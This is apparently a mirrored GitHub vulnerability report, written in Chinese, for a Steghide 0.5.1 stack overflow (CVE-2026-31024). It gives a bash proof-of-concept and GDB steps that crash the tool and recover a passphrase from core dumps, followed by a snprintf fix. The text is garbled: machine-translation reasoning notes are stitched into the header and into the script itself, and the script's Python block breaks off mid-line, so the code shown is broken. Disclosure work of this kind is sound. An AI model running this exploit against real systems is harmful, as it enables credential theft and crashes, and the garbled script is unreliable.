ErikDervishi03/CVE-2026-31024
GitHub: ErikDervishi03/CVE-2026-31024
该项目是针对Steghide 0.5.1栈缓冲区溢出漏洞的PoC，演示了如何通过长文件路径触发崩溃并泄露敏感数据。
Stars: 2 | Forks: 0
# to ensure visibility" can be translated, but "root/sudo" and "echo" etc., should be kept in English.
## 漏洞报告：Steghide 基于栈的缓冲区溢出与信息泄露
| 字段 | 值 |
|------|-------|
| 目标应用程序 | Steghide (Linux 二进制文件) |
| 受影响版本 | 0.5.1 (已确认)；早期版本可能受影响 |
| 漏洞类型 | 基于栈的缓冲区溢出 (CWE-121) |
| 影响 | 拒绝服务 (DoS)、信息泄露 |
| 测试环境 | Kali Linux |
| 公开日期 | 2026年1月16日 |
| 作者 | Erik Dervishi |
| 软件链接 | https://salsa.debian.org/pkg-security-team/steghide |
| CVSS v3.1 评分 | **5.5 (中等)** |
| CVSS 向量 | CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H |
**严重性评分依据：**
中等的严重性评分反映了可靠的本地利用可同时导致拒绝服务和通过核心转储泄露敏感凭据。
### 1. 描述
在 **steghide** 命令行工具（版本 0.5.1）中发现了一个基于栈的缓冲区溢出漏洞。当向 **-cf**（封面文件）参数传递过长的文件路径时，将触发此漏洞。
虽然应用程序编译时启用了栈溢出保护（SSP/Canary），该机制通过中止进程成功阻止了立即的任意代码执行（RCE），但这一防御机制造成了次生漏洞：信息泄露。
分析证实，在崩溃瞬间，敏感的运行时数据——特别是通过 **-p** 参数传递的密码短语——仍暴露在进程栈内存中。在配置为保留核心转储的系统（常见于开发、CI/CD 或配置错误的生产服务器）上，这些敏感数据会以明文形式写入磁盘，攻击者因此可以恢复凭据。
### 2. 攻击前提（威胁模型）
要成功利用此漏洞进行信息泄露，必须满足以下条件：
- **本地访问：** 攻击者必须拥有对系统的本地访问权限，或有能力向 steghide 二进制文件传递参数（例如，通过 webshell 或包装脚本）。
- **核心转储已启用：** 目标环境必须配置为生成核心转储（例如，`ulimit -c unlimited` 或 `fs.suid_dumpable=1`），并将其写入攻击者可访问的位置。
- **凭据在内存中：** 受害者必须使用 `-p`（密码短语）参数执行命令。
### 3. 技术分析
#### 3.1 根本原因分析
漏洞存在于 **src/Embedder.cc** 中。应用程序在使用 **sprintf** 将文件名字符串格式化到固定大小的缓冲区之前，未能检查其长度。
漏洞代码片段：
```
// src/Embedder.cc
char buf[200];
// Unsafe usage of sprintf without length validation
sprintf(buf, _("embedding %s in %s..."), embstring.c_str(), cvrstring.c_str());
```
如果字符串的总长度超过 200 字节，**sprintf** 会写入超出 **buf** 边界的位置，破坏栈结构。
#### 3.2 崩溃机制
该二进制文件使用 GCC 的栈保护器编译。
1. **溢出：** 用户输入覆盖了栈，包括“canary”。
2. **检测：** 函数返回时，系统检查 canary。
3. **终止：** 系统检测到损坏，触发 **__stack_chk_fail**，并引发 **SIGABRT**。
因为 **__stack_chk_fail** 会立即调用 **abort()**，进程终止是突发的。在现代 Linux 系统上（例如，使用 **systemd-coredump**），这种快速终止有时可能导致核心转储被丢弃或截断，除非系统明确配置为强制创建转储。
### 4. 概念验证 (PoC)
#### 4.1 自动复现脚本
以下 bash 脚本配置环境以强制生成物理核心转储并提取密码。
**前提条件：** 确保 **ulimit** 已设置且核心模式指向一个文件（设置需要 root 权限，但漏洞利用可以以用户身份运行）。
```
# But in the command line itself, like "echo "core" | sudo tee /proc/sys/kernel/core_pattern", it's entirely a command, so perhaps I should keep it as is. However, the user said "translate each of the following headings", so I need to translate the entire line. But for commands, it might be unconventional to translate them. I think the safest is to keep all technical content in English and translate only the descriptive words.
# Let me look at the example given: 'Running Naabu' -> '运行 Naabu'. Here, "Running" is translated to "运行", and "Naabu" is kept as is. So, for verbs and common words, translate; for technical names, keep.
```
文件：**poc.sh**
```
#!/bin/bash
# Apply this to each line:
# 1. CVE-2026-31024: This is a CVE ID, so it should be kept as "CVE-2026-31024". But since it's a heading, I need to output it in Chinese context. Perhaps just output "CVE-2026-31024" without translation, as it's a proper noun.
# The instruction says "output exactly 12 line(s) of translation", so I need to translate each line. For CVE, it might be best to leave it unchanged.
ulimit -c unlimited
# 2. Setup (Run once as root/sudo to ensure visibility): Translate "Setup" to "设置", and "Run once as root/sudo to ensure visibility" to "以 root/sudo 运行一次以确保可见性". So, "设置（以 root/sudo 运行一次以确保可见性）：" – keep the colon.
LONG_DIR="crash_test"
LONG_NAME=$(python3 -c "print('A' * 250 + '.wav')")
FULL_PATH="$LONG_DIR/$LONG_NAME"
echo "[*] Creating malicious directory structure..."
rm -rf "$LONG_DIR" core* 2>/dev/null
mkdir -p "$LONG_DIR"
# 3. echo "core" | sudo tee /proc/sys/kernel/core_pattern: This is a command. Keep it as is? Or translate the description? Since it's part of the heading, and it's a command, I think I should keep it in English. But let's see the context; it might be a command to run. I'll keep it as is in the translation.
python3 -c "
import struct
with open('$FULL_PATH', 'wb') as f:
# RIFF Header + WAVEfmt + PCM Audio + Data Chunk
# We provide a valid header so execution reaches the vulnerable Embedder.cc logic
header = b'RIFF' + struct.pack(' secret.txt
# 5. Usage: ./poc.sh: "Usage" translate to "用法". "./poc.sh" is a command, keep in English. So, "用法: ./poc.sh"
# 6. 1. Enable core dumps for this session: This is a numbered step. "Enable core dumps" – "core dumps" is technical, keep as "core dumps". Translate "for this session" to "为当前会话". So, "1. 为当前会话启用 core dumps"
echo "[!] Launching Steghide..."
steghide embed -cf "$FULL_PATH" -ef secret.txt -p MY_SECRET_PASS
# 7. 2. Define payload: 250 'A' characters (sufficient to overflow 200 byte buffer): "Define payload" translate to "定义 payload". "payload" is technical, keep in English. "250 'A' characters" keep as is. "(sufficient to overflow 200 byte buffer)" translate to "（足以溢出 200 字节缓冲区）". So, "2. 定义 payload: 250 'A' 字符（足以溢出 200 字节缓冲区）"
echo -e "\n[*] Searching for artifact in core dump..."
CORE_FILE=$(ls core* | head -n 1)
if [ -f "$CORE_FILE" ]; then
echo "[+] Dump found: $CORE_FILE"
# Search for the password string inside the binary dump
strings "$CORE_FILE" | grep "MY_SECRET_PASS" && echo -e "\n[!!!] CRITICAL: Password successfully leaked from crash dump!"
else
echo "[-] No core file found. Check 'ulimit -c' or '/proc/sys/kernel/core_pattern'."
fi
```
#### 4.2 动态分析 (GDB)
使用 GDB（配合 Pwndbg 扩展）手动验证内存状态。
**复现步骤：**
1. 在二进制文件上运行 GDB：
```
gdb --args /usr/bin/steghide embed -cf $(python3 -c "print('A'*200 + '/trigger.wav')") -ef secret.txt -p MY_SECRET_PASS
```
2. 运行进程：
```
pwndbg> run
```
3. 发生 **SIGABRT** 后，在内存中搜索密码短语：
```
pwndbg> search "MY_SECRET_PASS"
```
**观察到的输出：**
```
*** buffer overflow detected ***: terminated
Program received signal SIGABRT
pwndbg> search "MY_SECRET_PASS"
Searching for value: 'MY_SECRET_PASS'
[heap] 0x5555555bb1a8 'MY_SECRET_PASS'
[stack] 0x7fffffffd680 'MY_SECRET_PASS'
```
**结论：** 在崩溃瞬间，敏感字符串 **MY_SECRET_PASS** 同时存在于堆和栈内存段中，证实了信息泄露的途径。
### 5. 影响评估
- **机密性（高）：**
- **直接泄露：** 崩溃会暴露内存转储中的命令行参数（密码）。
- **权限提升风险：** 虽然核心转储通常保留用户的权限（**0600**），但配置错误的系统（使用全局转储目录如 **/tmp** 或不安全的 umask）可能允许低权限用户读取由高权限用户（如 root）或服务账户（如 **www-data**）生成的转储，从而导致凭据被盗。
- **可用性（高）：**
- 该漏洞确保了可靠的应用程序崩溃（DoS），中断了使用 Steghide 的自动化服务。
- **完整性（低）：**
- 目前，SSP/Canary 缓解了代码执行风险。
### 6. 修复建议
1. **代码修复：** 用 `snprintf` 替换不安全的 `sprintf` 调用，以强制实施缓冲区大小限制。
```
// Recommended Fix
snprintf(buf, sizeof(buf), _("embedding %s in %s..."), ...);
```
标签：CVE-2026-31024, CWE-121, DoS攻击, PoC概念验证, Steghide漏洞, 信息泄露, 凭证泄露, 安全测试, 密码泄露, 应用安全, 情报收集, 拒绝服务, 攻击性安全, 本地漏洞利用, 栈溢出, 核心转储, 漏洞研究, 缓冲区溢出, 网络安全, 逆向工具, 配置错误, 隐写术, 隐私保护